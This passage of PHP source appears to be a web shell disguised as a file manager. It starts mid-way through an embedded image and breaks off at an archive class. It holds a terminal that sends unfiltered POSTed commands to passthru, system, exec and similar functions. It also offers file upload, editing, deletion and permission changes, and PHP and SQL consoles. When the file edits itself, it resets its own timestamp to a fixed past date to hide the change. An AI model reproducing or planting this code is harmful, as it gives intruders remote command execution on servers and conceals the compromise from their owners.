Kh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
